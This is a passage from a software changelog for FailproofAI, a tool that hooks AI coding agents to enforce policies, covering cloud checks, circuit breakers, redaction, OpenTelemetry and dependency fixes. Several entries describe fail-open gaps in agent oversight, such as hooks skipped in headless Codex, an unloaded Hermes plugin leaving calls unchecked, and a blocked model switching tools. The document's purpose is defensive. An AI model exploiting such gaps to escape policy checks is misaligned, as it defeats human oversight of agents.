on a machine that is not enrolled, a poll in flight during the disconnect is discarded, and a machine put back on OSS has any leftover Cloud deployment removed. Before, the old org's policies and Jev mode came back within one maintenance interval. That cleanup runs only in the default cloud policy directory, never in one `FAILPROOFAI_CLOUD_POLICY_DIR` names. -- An observed `both` policy, whose Jev half FailproofAI Cloud does not ask, registers hard, and `jev status` does not count it reviewable. -- On-machine delivery of Cloud Jev checks, from earlier builds of this release, is gone: a `semanticPolicies` list from a server is ignored and never fetched, and one left in an `active.json` is dropped on read, so the machine keeps enforcing. -- Policy error reports carry no local paths: the home directory becomes `~` and other absolute paths their last segment, on the CLI and again in the daemon, including a path after `:` such as `file:///tmp/x.mjs` (a URL's `//host` is left alone). -- An artifact fetch that never got an HTTP answer no longer shows as a policy error for a poll or two. -- A FailproofAI Cloud-side fix shows on the fleet page at the daemon's next poll, not the machine's next tool call: `policyErrors` leaves out `errors.json` entries about a policy no longer deployed (or deployed at another version), and a `jev_unconfigured`, `transcripts_disabled` or pack budget drop once Cloud's Jev mode no longer asks. -- The hook path reads `active.json` and the Cloud Jev credential once per change of those files, not several times per tool call. -- `failproofai policies` still lists the Cloud section when the Cloud JavaScript could not be read but a Jev mode is set; a machine whose deployment carries only a Jev mode records its Cloud deployment on activity rows. -- **A failing or rate-limited FailproofAI Cloud Jev is no longer silent, and no longer slows every tool call.** After 3 Cloud Jev failures in a row (timeout, no connection, a 5xx, an unusable reply) the machine skips Cloud Jev for 60 s, deciding by the regex alone, then lets one call through; an answer closes it again. A 429 is not a failure (its Retry-After is honoured as before). `errors.json` reports `jev_unavailable: …` while the breaker is open and `jev_rate_limited: calls fell back to regex in the last 10 min` while FailproofAI Cloud refuses calls for the organization's Jev rate limit; both clear once a call is answered, and the daemon stops sending them once Cloud's mode no longer asks. -- An installed pack's check FailproofAI Cloud dropped because an organization Cloud check has its name is reported as `jev_name_clash: (the FailproofAI Cloud check is used)`, not as a budget drop. -- A pack check's `jev_budget` / `jev_name_clash` report clears at the daemon's next poll once Cloud redeploys the machine, changes its Jev mode, or the pack is uninstalled, instead of at the machine's next tool call. -- `config --pause` says FailproofAI Cloud's Jev checks keep running during a pause, as Cloud-managed policies do. A known inert tool (TodoWrite, Task) under a Cloud Jev mode is answered from its name before any envelope is built; an overlong reason in FailproofAI Cloud's reply is cut, not refused; and the daemon removes the Jev check files an earlier build of this release left in `cloud-policies/artifacts/` at the next activation. -- `config --connect … --no-transcripts` (and `config --token … --no-transcripts`) removes a `jev.json` that runs Jev through FailproofAI Cloud, by the rule `config --disconnect` uses (a BYOK file, or a Cloud one switched off, stays), and says in one line that Jev via FailproofAI Cloud stays off on this machine. Before, a file left by an earlier connection with transcripts on kept sending each checked tool call to FailproofAI Cloud. -- A change to the CLI's Jev selection, questions or decision now fails a test until FailproofAI Cloud's port of them is updated with it: the parity fixtures Cloud is pinned by (`__tests__/fixtures/cloud-jev/`, with their generator) are replayed through the current code. -- **Redacting secrets from the `cloud` block can no longer make FailproofAI Cloud clear a check the machine would not.** Cloud's target checks compare the call's targets with the human's words by substring, and a redaction marker could name a target (`` named `./secret`) or hide one the human did name. The machine now runs those checks on both the redacted block and the unredacted call and, where they differ, sends the scan incomplete, which clears nothing; the human's redacted words carry a letter-free placeholder, and a block cut for size keeps a sign that a human spoke. - -### Docs - -- `crates/CLOUD_POLICIES.md` documents the Jev mode and `both` fields of desired-state and `active.json`, how the machine calls FailproofAI Cloud Jev, and the `policyErrors` report, and its stale `cloud-managed/`, `deployments/` and `cloud.json` names are fixed; the Cloud CLI reference, the deploy guide and the FailproofAI Cloud Jev page cover Jev policies, which run on FailproofAI Cloud, and the Cloud-set Jev mode. -- The FailproofAI Cloud Jev docs (`crates/CLOUD_POLICIES.md`, the Cloud Jev page, the deploy guide) give the 5 s Cloud wait, say a session pause does not stop FailproofAI Cloud's Jev checks, describe the circuit breaker, and list `jev_rate_limited`, `jev_unavailable` and `jev_name_clash`. - -## 1.0.12-beta.0 — 2026-10-22 - -### Features - -- **Log in to FailproofAI Cloud from `config`.** On a machine that is not connected (or whose saved key is refused), the connect step now starts a browser login straight away; Tab opens the other options: paste an API key, or use open source. Logging in opens a link — or prints it over SSH or with no display, to open on any device — where you sign up or sign in, pick or create an org, and authorize the machine; the terminal notices on its own and shows who approved it and for which org. The machine's key is created only when setup finishes, after the daemon is installed, so a run you abandon leaves no key behind. A machine that is already connected with a working key gets a menu with "keep" first, so re-running setup never opens a browser by itself. Needs a FailproofAI Cloud with browser login; an older one says so and pasting a key still works (#920) - -### Fixes - -- `config`'s cloud login prints what the server sends — org, approver, key name, errors, the link — without terminal control or bidi characters, keeps the server's poll interval and expiry to a sane range, checks a saved cloud address like a typed one, and names the key to revoke if one was created but could not be used (#920) -- `config` asks for your sudo password again before installing the daemon, or refreshing its service definition, when the one given at the start expired while you were answering (5 minutes on macOS by default), instead of failing after everything else was done (#920) - -### Dependencies - -- Combine the open Dependabot PRs (#921, #922, #923) into one: `certifi` 2026.7.22 → 2026.10.19 (GHSA-6q48-6c7w-9gw2) in `fp-cloud-cli` and the Python SDK's test lockfile, and `vite` 8.3.0 → 8.3.4 in the TypeScript SDK's dev lockfile. The Supply Chain gate scans every lockfile, so none of the three could pass on its own (#926) -- Clear the Supply Chain gate's other findings, which no Dependabot PR covered: the root `vite` override 8.0.16 → 8.1.6 (five advisories), the smallest fixed release, which moves only `rolldown` 1.0.3 → 1.1.5 and its platform packages with it; `rustls-webpki` 0.103.16 and `webpki-roots` 1.0.10 in `Cargo.lock` (RUSTSEC-2026-0382, RUSTSEC-2026-0381); `vitest` 5.0.1 → 5.0.5 in the TypeScript SDK (GHSA-qxg6-89mg-rqv8 and GHSA-xp26-3454-mjgp, in `@vitest/mocker`), which takes `vite` on to 8.3.5; and in the Python SDK's test lockfile, `pillow` 13.0.0 on Python 3.11+ and `uv` 0.11.33 → 0.13.5 (GHSA-hq85-5cpj-mr62), the latter through a second `[tool.uv] override-dependencies` entry because `crewai-cli` pins `uv~=0.11.6` (#926) -- OSV-Scanner: accept `pillow` 12.3.0, the Python 3.10 slice of the Python SDK's test lockfile, with a `[[PackageOverrides]]` entry pinned to that version until 2026-11-20. Every fix for its 28 advisories is in 13.0.0, which requires Python 3.11, and new ones were still arriving, the case `SECURITY.md` keeps an override for. Dropping 3.10 retires it (#926) -- Patch `aiohttp` 3.14.3 → 3.14.5 (GHSA-2g87-pp6c-29x5, GHSA-494j-54xm-rwp3, GHSA-5wr8-gcqf-gqf3) in the Python SDK's test lockfile, the finding that turned `main`'s Supply Chain gate and every open Dependabot PR red. It is transitive only (via `llama-index-core`, `instructor` and `kubernetes`), so Dependabot's grouped update never reaches it; 3.14.4 onward requires `yarl>=1.25.1`, so `yarl` moves 1.24.5 → 1.25.1 with it and nothing else changes (#918) -- Patch `mcp` 1.28.1 → 1.30.0 (GHSA-84m7-p3x7-pcfv) in the Python SDK's test lockfile, the finding that turned `main`'s Supply Chain gate red. crewai pins `mcp~=1.28.1`, so the fix is a `[tool.uv] override-dependencies` entry in `sdk/python/pyproject.toml`; uv applies it only when resolving `uv.lock`, and the published package's metadata is unchanged (#904) -- Remove `sprintf-js` (GHSA-hp3w-g68c-fv3c, no fixed release) from the `nextjs` and `mastra-1` SDK integration fixtures with an `argparse` 2.0.1 override. Both reached it through `@mastra/core` → `gray-matter` → `js-yaml@3` → `argparse@1`, and js-yaml 3 loads `argparse` only from its CLI, which nothing runs; every pin stays put (#904) - -## 1.0.11 — 2026-10-15 - -The first stable release with the new terminal experience and OpenTelemetry. Everything below in the `1.0.11-beta.*` sections ships here; the highlights: - -### Features - -- **A redesigned CLI and `config` v2.** Every screen, picker, `--help` page and error has the new look, and `config` walks you through choosing agents, connecting to FailproofAI Cloud (hosted or self-hosted, with `--url`) and turning policies on, end to end. -- **OpenTelemetry, per agent.** `otel enable claude|codex|copilot|all` sends that agent's sessions to Cloud over OpenTelemetry instead of transcript upload, and `otel disable` restores its settings byte for byte. Codex exports logs only, a `log_user_prompt = false` you set is kept, `--no-content` leaves prompt and tool text out, and `--local` routes through the daemon's relay, which spools to disk and retries. `otel env` prints the exporter settings for any other OpenTelemetry app, and `otel status` shows the org switch, each agent and the relay. Cloud's OTLP endpoint base is `/otel`: exporters append `/v1/traces`, `/v1/logs` or `/v1/metrics` to it, and the relay forwards to the same address. -- **Headless Codex enforces policies.** With sudo, `config` installs Codex's hooks into its system config, which Codex runs without an interactive trust prompt; `config --status` warns when hooks are not trusted. - -### Fixes - -- Cloud's OpenTelemetry ingest moved to `/otel`; direct exporters and the relay use `/otel/v1/`, while the local relay keeps `/v1/`. Re-run `otel disable ` then `otel enable ` after upgrading to rewrite older beta settings. (#903) -- **Switching a machine to another organisation is a clean break.** Nothing recorded before the switch is sent to the new organisation (transcripts, queued batches and OpenTelemetry alike), the old organisation's cloud policies stop, and the daemon accepts the new organisation's policies without a restart. A first connect still backfills the last week. -- **Reconnecting with a different key replaces every saved credential,** and events the old key was refused are resent with the new one. -- **The daemon no longer stops collecting** when a settings change or backfill arrives while it is busy. - -### Dependencies - -- Patch the TypeScript SDK's integration fixtures: `next` 16.3.6 → 16.4.1 (six advisories), `sharp` 0.35.5 and `source-map-js` 1.2.2 in `nextjs`, and `@modelcontextprotocol/sdk` 1.30.1 → 1.32.1 (GHSA-6qxp-vccf-f47h) in `mastra-0`, inside `@mastra/mcp@0.14.5`'s `^1.17.5` range. Dependabot's version of this PR also moved `ai` 4 → 5 in `ai-4` and `@mastra/core`/`@mastra/memory` 0.x → 1.x in `mastra-0`, the pin moves `SECURITY.md` rules out (and an unresolvable tree next to `@mastra/mcp@0.14.5`, which failed every integration shard), plus `ai` 7.0.111 → 7.0.141 in `nextjs`, whose pins must match its `ai-7` twin; none of those are applied (#902) - -## 1.0.11-beta.5 — 2026-10-15 - -### Fixes - -- The TypeScript SDK's OTel exporter and custom-agents resolver treated a blank or whitespace-only `FAILPROOFAI_HOME` as a path relative to the working directory, so spans could be spooled into the project folder where the daemon never reads them. Blank now means unset, as in the Python SDK. -- Switching a machine to another organisation now also sets aside OpenTelemetry batches still waiting to upload. They used to be sent to the new organisation with its key; they are now kept with the previous organisation's undelivered events and never sent. -- `otel enable` and `otel env` refuse a plain-http ingest URL that is not localhost, before writing or printing anything. They used to write or print the Cloud key for that address, sending it in clear. https, and http on localhost or 127.0.0.1, work as before. -- A network outage no longer marks OpenTelemetry batches as permanently undeliverable. After three failed rounds of retries a batch stopped being retried, even though nothing was wrong with it; it is now kept and sent once the connection is back, and only batches Cloud actually rejects are given up on. -- The Python SDK treats an empty or blank `FAILPROOFAI_HOME` as unset. The OpenTelemetry exporter used to write its batches into the current directory, where they were never uploaded. -- The daemon could stop collecting for good when a settings change or backfill arrived while the collector was busy (e.g. during a large backfill): it gave up waiting for the old collector to stop and never started a new one. It now waits and starts the new collector as soon as the old one stops. -- Replacing a Cloud key with `config --connect` now reliably resends the events the old key had been refused. They could be retried with the old key one last time and refused again, and then sat undelivered. - -## 1.0.11-beta.4 — 2026-10-15 - -### Fixes - -- `otel enable` no longer switches an agent over while the org has OpenTelemetry ingest off. It used to stop the agent's transcript upload, write the OTel settings and only warn, so that agent's sessions went nowhere until it was disabled again. It now writes nothing, keeps transcript upload running, and exits 1 with "OTEL ingest is off for your org. An admin can turn it on in Settings → OpenTelemetry." When the setting can't be read (offline, or an older Cloud), it enables as before. -- Claude Code's OpenTelemetry export to Cloud was refused with 401 on every batch. `otel enable claude` wrote the auth header URL-encoded (`Authorization=Bearer%20`), and Claude Code sends header values as-is, so Cloud saw `Bearer%20`. It now writes `Authorization=Bearer ` with a literal space, as Claude Code's docs do. Run `otel disable claude` then `otel enable claude` to rewrite an existing setup. -- `config --status` no longer shows a `codex ● Enforcing (system config)` row. Hooks in Codex's system config always run, so the row only appears when there is something to fix (untrusted hooks). - -## 1.0.11-beta.3 — 2026-10-15 - -### Fixes - -- A first connect, and a machine upgrading from an earlier version, no longer draw an organisation boundary. Both set it to "now", so the collector dropped every older event: a new machine never backfilled its last week of sessions, and an upgrading machine could drop events still queued for upload. Only an actual switch to another organisation draws the boundary. -- The `config` Done screen no longer prints "Codex hooks are in its system config …" or "Your custom policies are enforcing on N agents." Counted policies still get their line, and untrusted Codex hooks still get their warning. - -## 1.0.11-beta.2 — 2026-10-15 - -### Features - -- Add opt-in coding-agent OpenTelemetry setup, reversible per-agent transcript switching, and a loopback OTLP relay (#880). -- Add optional TypeScript and Python OpenTelemetry span exporters with durable OTLP/JSON spool delivery and no hard runtime dependencies (#880). -- Port OpenTelemetry help and setup into the new TUI, retaining per-agent transcript overrides and reversible settings. OpenTelemetry stays out of `failproofai config`: it is opt-in, per agent, through `failproofai otel enable ` (#880). -- `failproofai otel` covers Claude Code, Codex and GitHub Copilot (VS Code). Copilot always uses the local relay, because its settings cannot carry an auth header (#880) -- New terminal look for the CLI, step one: the palette gains the redesign's label grey, progress-track grey and a red for failures. Descriptions keep the terminal's own colour, and the greys fall back to the dim attribute below 24-bit, so every screen stays readable on light themes (#881) -- Pickers in the new look: an UPPERCASE heading with a live "n of m selected", a `›` cursor and `■ □` boxes, twelve rows before scrolling, plain `a` to toggle all, and the key hints at the foot. The `policies -i` agent menu now uses the shared picker (#881) -- Every `--help` page in the new look, cut to usage, options and examples, with every real flag and its real default. The index opens with three getting-started steps, then lists every command by what it is for. `policies add|remove|show --help` now prints the one policies page (#881) -- Every error in the new look: `✕` and what went wrong, then the fix on its own line with the command in pink, instead of `Error: …`. An unknown word gets "There is no command called 'status'." and "Did you mean failproofai config --status?": words people type (`status`, `login`, `install`, `pause` and more) map to the command that does it, a typo finds the nearest command, and a word close to none gets no guess and points at `failproofai help`. Exit codes are unchanged (#881) -- The notices printed above a command — a daemon that does not match the CLI, the daemon self-heal, a reorganised or newer `~/.failproofai`, and the `--token` warning — are each one state line and one fix line (#881) -- New look for `failproofai policies`, `policies add ` and `policies show `: every policy is ● on or ○ off, packs are named once at the top, off policies fold into one line per category, and the new `failproofai policies --all` lists every one. At most one line asks for attention, most severe first: a pack that will not load (and so denies what it covers), then "Policies are not enforcing yet." (#881) -- `policies show / --releases` and the empty `policies add` picker are drawn in the new look (#881) -- `policies --install` / `--uninstall` results in the new look: one ✓ per agent with where it was written, and the duplicate-scope warning as one ▲ line with its fix. It no longer prints a hard-coded colour code into pipes or under NO_COLOR (#881) -- `failproofai config --status` in the new look: THIS MACHINE (the daemon, pauses), CLOUD and ENFORCEMENT (agents traced, policies on) on one column, now with delivery health from the daemon's own record (last event, backlog, refused batches) and at most one line that needs attention. Per-agent rows, such as one per Hermes profile, are gone: the screen is about the machine. `--pause` and `--resume` confirm with one ✓ sentence, and a pause states the time actually granted, which the 8-hour limit can make shorter than asked (#881) -- New terminal look for the CLI, the dashboard launch screen: bare `failproofai` prints it once the dashboard is actually listening, with its address, the policies that are on, the agents traced and the cloud connection, plus one warning when policies are not enforcing or the dashboard is reachable from other machines. A server that fails to start says why in one line (a taken port is named as such), Next.js's own startup lines are gone, piped output carries no colour codes, and `failproofai audit` hands off to the dashboard without the logomark or the screen (#881) -- `failproofai audit` shows a progress bar per agent and running counts of what would be blocked or warned, redrawn at most every 100 ms in one write per frame; piped or under `NO_COLOR` it prints the finished screen once. Its sign-in, `--schedule`, `--no-schedule` and `--status` screens move to the new look, and audit no longer honours `FORCE_COLOR`, like every other screen (#881) -- `flush`, `migrate`, `update`, `uninstall`, `config --connect`, `--disconnect` and a machine rename print their results in the new look: the header names the command, and a failure opens with ✕ and its fix indented under it (#881) -- `failproofai uninstall` asks one question, `Continue? y/N`, under a plan that says exactly what goes: the hooks and which agents they are in, the failproofaid service, the policy settings in policies-config.json, and `~/.failproofai` with `--purge`. Yes removes all of it, the service included, as `--yes` does; the second "remove the service too?" question is gone (`policies --uninstall` removes only the hooks). `--yes` and the refusal without a terminal are unchanged (#881) -- `failproofai publish` ends on the new done screen: a ✓ per side effect (a commit, a bundle, a new repository), then "Published @ with N policies." and the command to install it. A private repository gets a ▲ in the install line's place (#881) -- `failproofai jev status` in the new look: a status row, then provider and model, endpoint, mode, timeout, key and config, the activity block, and the next command last. There is no "last test" row, because nothing records one (#881) -- `jev setup`, `jev test`, `jev models` and `jev remove` results in the new look: the header names the subcommand and its outcome, with kv rows, grey notes, ▲ warnings and one-line next steps (#881) -- A new API-key prompt for `failproofai config`: one masked field, Tab for open source, a saved key shown at once and checked in the background, a spinner while a key is checked, and a refused key kept in the field to retry. A tab or newline inside a paste no longer switches mode or submits halfway (#881) -- `failproofai config` v2: after sudo, one API-key field (Tab for open source; Enter keeps a saved key, which is checked in the background), then which agents failproofai traces. That one remembered list drives hooks, collection and backfill. Every agent is listed: the detected ones are ticked on a first run, a re-run opens on the last answer with newly detected agents ticked, and an upgraded machine opens on what is protected today. Nothing is written until the last question is answered, and the run ends with what was written and whether anything is enforcing. Tab never disconnects a connected machine; `--disconnect` does. An agent traced again starts fresh in the collector instead of resuming old cursors (#881) -- Installing an agent's hooks (`policies --install`, `policies add`, the dashboard's agent panel) now adds it to the agents `failproofai config` traces, at any scope, and removing them at user scope or `--scope all` (`policies --uninstall`, `policies remove all`, the panel) takes it out, each with a one-line note. So the next `failproofai config` neither strips those hooks nor puts them back, and the daemon stops collecting an agent you unhooked. An agent added back starts fresh in the collector, as one re-ticked in `failproofai config` does, instead of resuming its old cursors. With no saved selection, a removal saves one listing this machine's agents (detected, or hooked at user scope) but those removed; project- and local-scope removals, `failproofai config` itself and `failproofai uninstall` leave the selection alone (#881) -- `failproofai backfill` re-sends only the agents failproofai traces, counts sessions with the same readers the audit uses (all twelve agents, where the old survey knew seven), and takes `--agents` for a subset. A name that is not an agent, an untraced agent, or a daemon of another version is refused before anything is written. `config` takes `--oss` and `--agents`, `config --status` counts agents found but not traced, and `harness` says when an agent's extra paths are idle because it is not traced (#881) -- The daemon honours `agents.selected` in `config.json`: a harness that is not selected starts no collector task (its extra capture paths and every Hermes profile included), while hook decisions and the SDK spool are always collected. A change takes effect at the next config poll with no restart; no `agents` key means every harness, as before. An unknown agent id, and an untraced harness that still has extra paths, each get a journal line (#881) -- Backfill requests can name `agents` and a `kind`. `user` (what `failproofai backfill` writes, and what a request without `kind` means) re-sends those agents' files modified since `sinceMs`, now reaching their extra-path stores too; `added` forgets every cursor of the agents `failproofai config` re-adds, Hermes profiles included, and gives them the default 7-day window. A pending request is applied before the collector first starts, and an `added` request older than 10 minutes is dropped (#881) - -### Fixes - -- **The daemon no longer refuses a new cloud identity's policies as a "rollback".** Its replay guard kept the highest deployment number it had seen for the life of the process, but the server numbers deployments per organisation and machine. After switching organisation, re-registering the machine or enrolling afresh, the new identity's deployment (often 0) was refused with "deployment rollback from N to 0 is not allowed" until the daemon restarted, and the previous organisation's policies kept enforcing. The guard now starts again whenever the URL, machine id or token it polls with changes; within one identity it is unchanged. When the enrolment is removed, the daemon also deletes `desired-state.json` along with `active.json`. Before, the maintenance pass rebuilt `active.json` from the leftover desired state and the departed organisation's policies came back. (#899) -- Preserve Codex OTEL header comments, omit local Claude auth-header settings, and require an executable or Copilot extension before configuring VS Code (#880). -- Keep Python OTEL imports lazy, label direct loopback destinations correctly, omit local Codex auth headers, and scope help options to each verb (#880). -- `failproofai otel enable codex` now exports Codex's conversation logs only. Its runtime spans carry no conversation and created empty sessions in Cloud, so failproofai sets only the Codex logs exporter (#880) -- `failproofai otel enable` no longer overwrites a prompt-capture opt-out: an existing Codex `log_user_prompt = false` is kept and reported, and re-enabling keeps the original setting rather than failproofai's last write (#880) -- `failproofai otel disable codex` hands Codex back to transcript upload without re-sending rollouts OTEL already delivered: the collector resumes those files at their end, so only later appends are uploaded (#880) -- `failproofai otel enable codex` waits for the daemon to confirm it has stopped Codex transcript upload before writing the Codex settings, so the same session is not uploaded twice; if the daemon does not confirm in time it says so and points at `failproofai otel status` (#880) -- Codex skipped every failproofai hook in `~/.codex/hooks.json` until a person approved it in interactive `codex`, so headless `codex exec` enforced nothing while `failproofai config` said policies were enforcing. With sudo, user-scope Codex hooks now go into Codex's system config (`/etc/codex/config.toml`, in a marked block that keeps the rest of the file), which Codex runs without approval; uninstalling takes the block out. Without sudo, or on Windows, they stay in `hooks.json`, and `config` and `config --status` count Codex as enforcing only once its hooks are trusted, and otherwise say how to fix it (a Codex older than 0.129, which runs them unasked, keeps `hooks.json` with no warning) (#881) -- `failproofai policies` showed nothing for a machine still on the pre-pack builtins, while those builtins were enforcing. It now says how many under BUILT IN, with the command that moves them into a pack (#881) -- `failproofai config --disconnect` told you to restart the daemon to stop it sending. It stops on its own within a few seconds, because it polls the credential, and now says so (#881) -- A config change that landed while the daemon was restarting its collector after a backfill was recorded as already running and never applied. `failproofai config` re-adding an agent hits exactly that, writing its backfill request and then the selection, so the agent stayed off until some unrelated edit (#881) -- `failproofai backfill 6m` (no `--since`) silently ran the default 30 days. Stray words are refused now, with the option they probably meant (#881) -- `failproofai config --token --machine-label ` ran a rename and ignored the key. It now sets the machine up under that name; with `--agents` on a connected machine the name is applied as a rename, and where the machine cannot connect (`--oss`, or no key) it is refused rather than dropped (#881) -- `failproofai config` no longer runs setup with an option it does not know quietly ignored: an unknown option or a stray word is an error (#881) -- `backfill` on an unconnected machine suggested `config --token `, which puts the key in shell history. It points at `failproofai config` (#881) -- `harness add-path` said `harness list` shows what is captured. It shows what is configured; the daemon's log says what it rejected (#881) -- `--cli` in `policies --install`, `--uninstall`, `add` and `remove` named only 8 of the 12 agents and said "Missing value(s)" for a typo; it now says "Not an agent: claud (did you mean claude?)" and lists all 12 (#881) -- The did-you-mean for an unknown command answered `install` with `uninstall`, `status` with `flush` and `-i` with `audit`, and suggested flags in a form that could not be run (#881) -- `failproofai update` without sudo said to re-run `failproofai config` and printed a whole unit file to paste; it now says to run `sudo -v`, then `failproofai update` again. `uninstall` names the commands to run as root when it cannot remove the service (#881) -- `failproofai uninstall` said settings "survive a reinstall" while it reset enabled policies, custom policy paths and policy parameters in policies-config.json; its question now says so (#881) -- `policies remove --scope` with no value left `all` out of the valid scopes, and `policies add|remove` with an unknown flag pointed at `failproofai policy --help` (#881) -- A new backfill request no longer replaces one still waiting for the daemon: requests merge, keeping the wider window, and are written atomically (#881) -- A hook from an agent that `failproofai config` does not trace is logged once per session and evaluated as usual, never allowed because of the selection (#881) -- A backfill's first-sight window now applies only to the agents it names and lasts until a later request for that agent: a scoped backfill no longer widens every other source's window, and an agent added after a backfill starts on 7 days instead of inheriting the backfill's (#881) -- Renaming an unconnected machine suggested `config --connect --token `, a key on the command line; it points at `failproofai config` (#881) -- After every agent's hooks were removed, an unattended `failproofai config` re-run hooked all twelve again; a saved empty selection now stands (#881) -- `failproofai config --disconnect` removed the cloud policy manifest but left the cached desired state, from which the daemon rebuilt the departed organisation's policies. Both are removed now (#881) -- Reconnecting with a new key left the old key's capability slots in place, and batches the old key had been refused (401/403) stayed parked. A reconnect now reconciles the slots; batches refused under the same organisation are re-sent with the new key at once, and those from a different or unconfirmed organisation are set aside under `previous-org/`, never sent (#881) -- Switching a machine to another organisation could send the old organisation's history to the new one: collector cursors and upload queues are machine-wide. The collector now records an organisation boundary, sends only events from after the switch, and moves batches still queued for the old organisation aside instead of delivering them (#881) A first connect, or a machine upgrading from an earlier version, draws no boundary: it backfills its usual window and sends what is already queued. - -### Dependencies - -- Update vulnerable existing build and SDK test lockfile dependencies reported by the PR's OSV scan (#880). -- Bump `next` to 16.3.8, `sharp` to 0.35.5 and `source-map-js` to 1.2.2, which OSV-Scanner flagged; the dashboard ships `next` and `sharp`. In the SDKs' dev lockfiles: `source-map-js` (TypeScript) and `banks`, `langgraph-sdk`, `multidict` and `pydantic-ai-slim` (Python). `quinn-proto` (RUSTSEC-2026-0338 to -0342), `ruzstd` 0.9.1 (RUSTSEC-2026-0344) and `rustls` 0.23.46 (RUSTSEC-2026-0346 to -0349) in `Cargo.lock`, which `main` now also carries from #901 (#881) - -## 1.0.11-beta.0 — 2026-10-14 - -### Dependencies - -- Combine the open Dependabot PRs (#883, #884, #886–#898) into one: `next` and `eslint-config-next` 16.3.6 → 16.4.0, `eslint` 10.11.0 → 10.12.0, `@anthropic-ai/sdk` 0.128.0 → 0.133.0, `@types/node` 26.6.2 → 26.6.5, `lucide-react` 1.48.0 → 1.55.0, `@tanstack/react-virtual` 3.14.13 → 3.14.14, `@vitejs/plugin-react` 6.1.1 → 6.1.2, `jsdom` 30.1.1 → 30.1.2 and `posthog-node` 5.54.1 → 5.55.1; the Rust group (`serde_json` 1.0.152, `libc` 0.2.190, `tokio` 1.53.2, `getrandom` 0.4.3, `tokio-rustls` 0.26.6, `proptest` 1.12.0); `typer` 0.27.3 and `posthog` 7.67.0 in `fp-cloud-cli`; and `langchain-core` 1.6.9, `langgraph` 1.2.14, `crewai` 1.15.27 and `pydantic-ai-slim` 2.54.0 in the Python SDK's test lockfile. That last group also moves `langgraph-sdk` to 0.4.7, past #883's 0.4.4 (#901) -- Clear the Supply Chain gate, which `main`'s daily scan had failed on 20 fixable advisories. The bumps above close nine (`next`, `pydantic-ai-slim`, `langgraph-sdk`). The other eleven are transitive or held by an override, so no Dependabot PR covered them: `banks` 2.5.1 and `multidict` 6.9.1 in `sdk/python/uv.lock`, `quinn-proto` 0.11.19 and `ruzstd` 0.9.1 in `Cargo.lock`, the `sharp` override 0.35.4 → 0.35.5 (libvips 1.3.4), and `source-map-js` 1.2.2 in `bun.lock` and `sdk/typescript/package-lock.json` (#901) -- Bump `rustls` 0.23.45 → 0.23.46 in `Cargo.lock`, clearing RUSTSEC-2026-0346 through RUSTSEC-2026-0349, published after this PR's first scan. rustls is the TLS stack compiled into `failproofaid` through `reqwest`; nothing else in the lock moves (#901) -- Patch `@modelcontextprotocol/client` 2.0.0 → 2.2.0 (GHSA-6qxp-vccf-f47h) in the `mastra-1` SDK integration fixture with an `overrides` entry. Dependabot's fix in #884 moved `@mastra/mcp` to 2.3.0, which needs `@mastra/core` ≥ 1.75 and so cannot install next to the fixture's 1.68.0 pin. The rest of #884 (`ai` 4 → 5 in `ai-4` and `mastra-0`) is the pin move `SECURITY.md` rules out, so it is not applied (#901) -- OSV-Scanner: the four chromadb ignores now name 1.5.9, the version crewai 1.15.27 requires. It is the newest release and still affected, with no fix (#901) - -## 1.0.10 — 2026-10-05 - -Action needed if you use `instruct` policies with Hermes: an `instruct` no longer stops the call it reminds about. The call runs and the reminder is placed first in its result, so a policy written to prevent an action (for example, a direct API write that should go through an approved script) must become a `deny` before you upgrade. Hermes 0.20.0 is supported again: on 1.0.9 the plugin loaded there with no hooks and every tool call ran unchecked. After upgrading, run `failproofai update` and restart each Hermes gateway profile by name. Collects 1.0.10-beta.0 to beta.1 below. - -## 1.0.10-beta.1 — 2026-10-05 - -### Fixes - -- **Hermes: an `instruct` policy no longer blocks the call it reminds about; use `deny` to stop an action.** Blocking once to deliver the instruction made the model treat a correct command as an error — unattended cron runs on Hermes 0.20.0 retried with `--help`, switched to `execute_code` (and were blocked again) and ended unfinished. The native plugin now registers Hermes' `tool_execution` middleware: the call runs and the reminder is placed at the start of its own result (`failproof_policy_reminder` as the first JSON key, or a leading line), so it survives Hermes' 1,500-character preview of large results. A tool call made by an `execute_code` script hands its reminder to the `execute_code` result the model reads and leaves the script's own copy untouched, so nothing the script prints, writes or sends carries it, and the model is told never to quote a reminder in its replies. `deny` still blocks. A Hermes without the middleware keeps the old block-once delivery. (#875) -- **Hermes plugin hardening.** No hook raises any more: `pre_tool_call` blocks on an internal error (Hermes 0.20.0 and 0.21.x treated a raised exception as allow), observer hooks log and return, and the middleware falls back to the plain result. An evaluation, connect included, is capped at 25 seconds so Hermes 0.21.x never abandons the hook and blocks every call for a minute. A reminder is attached once per session and turn, also when calls run in parallel, and compacted to a bounded size (at most three reminders, policy names cut to 80 characters, reasons to 160) whenever the full one would take the result past 7,500 characters, so it stays inside the 1,500-character preview Hermes shows of a result it saves to a file (past 15% of the model's context window, 8,000 at the least). A reminder handed to a script's inner call expires after 60 seconds, and a later identical call that is allowed or denied never picks up a reminder an earlier blocked call left. Observer hooks wait at most 2 seconds, so a hung daemon costs a blocked call the deadline plus 2 seconds rather than twice the deadline. The block-once fallback (Hermes without the middleware) is keyed by policy rather than tool, so switching to `execute_code` is not blocked again, and says "FailproofAI policy guidance … repeating the same call is allowed". `register()` writes `heartbeat.json` (pid, Hermes version, profile, plugin path and version, hooks and middleware accepted) beside `instructions.db`. Hermes 0.21.x's renamed `process_manage`, `cronjob_manage` and `todo_list` tools now match policies written for `process`, `cronjob` and `todo`. (#875) -- **The native Hermes plugin failed to load on Hermes 0.20.0, leaving every tool call unchecked.** Its `PluginContext` has no `get_config` or `state` (both arrived in 0.20.1), so `register()` raised, Hermes logged "Failed to load plugin 'failproofai'" and registered no hooks — and `failproofai update` had just moved those profiles off shell hooks onto the plugin. The plugin now reads `plugins.entries.failproofai.settings` (then the legacy `config`) through Hermes' own config loader when `get_config` is missing, and keeps its instruction ledger in `/plugin-data/agent-plugin-failproofai-5296f299` — the directory `ctx.state.data_dir` names on newer Hermes, so upgrading keeps the same `instructions.db` — created owner-only. `register()` no longer raises: each hook registers on its own, and a state directory that cannot be opened degrades only `instruct()`, never `deny()`. (#875) -- The Hermes plugin manifest reported version `1.0.6-beta.0` in every release since it shipped, so `hermes plugins list` showed a stale version. `hermes-plugin/plugin.yaml` now carries the package version: the release workflow rewrites it with `package.json` (at publish time and in the post-release bump), and CI's version-consistency check fails when they disagree. (#875) - -### Dependencies - -- OSV-Scanner: ignore GHSA-vfj7-8cjw-p6xm (braces 3.0.3, no fixed version; dev-only via `@next/eslint-plugin-next` → `fast-glob` → `micromatch`, not shipped), re-review by 2026-11-20 (#875) - -## 1.0.10-beta.0 — 2026-09-30 - 